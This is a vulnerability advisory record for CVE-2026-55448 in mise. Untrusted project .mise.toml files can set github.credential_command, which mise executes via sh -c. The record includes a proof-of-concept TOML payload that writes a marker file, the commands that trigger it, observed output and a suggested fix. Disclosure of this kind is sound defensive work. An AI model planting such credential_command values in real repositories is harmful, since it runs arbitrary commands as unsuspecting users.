{"id":"CVE-2026-55448","aliases":["GHSA-29hf-rm4x-xxph"],"url":"https://o3.security/vulnerability/CVE-2026-55448","summary":"mise: Local credential_command executes untrusted config","details":"### Summary\n\n`mise` loads `github.credential_command` from local project config before any trust decision, then executes that value with `sh -c` when resolving a GitHub token. An attacker who can place a `.mise.toml` in a repository can execute arbitrary shell commands when the victim runs a GitHub-related mise command and no higher-priority GitHub token environment variable is set.\n\nThe current command-execution path is `github.credential_command`. I confirmed in Docker that the setting is exploitable on `v2026.3.15` and `v2026.3.17`, while `v2026.3.14` rejects it as an unknown field. This report does not depend on the separate trust-bypass issue because the sink is reached directly from `[settings.github]`.\n\n### Details\n\nThe vulnerable load order is:\n\n1. [`Settings::try_get()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L254-L283) preloads settings from local config files.\n2. [`parse_settings_file()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L505-L510) returns `settings_file.settings` without checking whether the local file is trusted.\n3. [`resolve_token()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/github.rs#L344-L390) checks `settings.github.credential_command` after the token env vars and before file-based sources.\n4. [`get_credential_command_token()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/github.rs#L558-L599) executes the value with `sh -c`.\n\nThe main command-execution path is:\n\n```rust\nlet result = std::process::Command::new(\"sh\")\n    .arg(\"-c\")\n    .arg(cmd)\n    .arg(\"mise-credential-helper\")\n    .arg(host)\n    .output()\n```\n\nIf a local project file sets:\n\n```toml\n[settings.github]\ncredential_command = \"echo credential_command_rce > /tmp/mise-proof.txt; echo ghp_fake_token\"\n```\n\nthen `resolve_token()` will reach `get_credential_command_token()` whenever higher-priority GitHub token environment variables are unset. `credential_command` is a documented custom credential source for mise, but it is also accepted from a local project `.mise.toml`, which lets an untrusted repository supply a shell command for mise to execute.\n\n### PoC\n\nTest environment:\n\n- Docker\n- `linux-arm64`\n- `mise v2026.3.17`\n\nNegative control:\n\n```bash\nexport GITHUB_TOKEN=env_token\nmise github token --unmask\n```\n\nObserved:\n\n```text\ngithub.com: env_token (source: GITHUB_TOKEN)\n/tmp/mise-proof.txt => missing\n```\n\nPrimary exploit:\n\n```toml\n[settings.github]\ncredential_command = \"echo credential_command_rce > /tmp/mise-proof.txt; echo ghp_fake_token\"\n```\n\nRun:\n\n```bash\nunset GITHUB_TOKEN GITHUB_API_TOKEN MISE_GITHUB_TOKEN MISE_GITHUB_ENTERPRISE_TOKEN\nmise github token --unmask\n```\n\nObserved:\n\n```text\ngithub.com: ghp_fake_token (source: credential_command)\n```\n\nAnd the side effect file is created:\n\n```text\n/tmp/mise-proof.txt => credential_command_rce\n```\n\nRelated version check:\n\n- `v2026.3.14`: `credential_command` is rejected as an unknown field\n- `v2026.3.15`: the same PoC executes and returns `source: credential_command`\n\n### Impact\n\nAn attacker who can place a `.mise.toml` in a repository can execute arbitrary shell commands as the victim user when the victim runs a mise command that resolves a GitHub token from local settings.\n\nDemonstrated impact:\n\n- arbitrary command execution as the victim user\n- no trust prompt\n- no need for `[env]`, `[hooks]`, tasks, or templates\n\nImportant limitation:\n\n- if a higher-priority GitHub token environment variable is already set, the `credential_command` path is not reached\n\n### Suggested Fix\n\nDo not honor `github.credential_command` from non-global project config files.\n\nFor example, inside `parse_settings_file()`:\n\n```rust\npub fn parse_settings_file(path: &Path) -> Result<SettingsPartial> {\n    let raw = file::read_to_string(path)?;\n    let settings_file: SettingsFile = toml::from_str(&raw)?;\n    let mut settings = settings_file.settings;\n\n    if !config::is_global_config(path) {\n        settings.github.credential_command = None;\n    }\n\n    Ok(settings)\n}\n```","published":"2026-06-26T16:46:17.280Z","modified":"2026-10-28T02:30:48.301414845Z","cvss":{"score":6.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N"},"epss":{"score":0.00158,"percentile":0.05291,"asOf":"2026-09-12"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"crates.io","name":"mise","fixedVersion":"2026.6.4"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55448.json"},{"type":"ADVISORY","url":"https://github.com/jdx/mise/security/advisories/GHSA-29hf-rm4x-xxph"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55448"},{"type":"PACKAGE","url":"https://github.com/jdx/mise"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:48.301414845Z"}}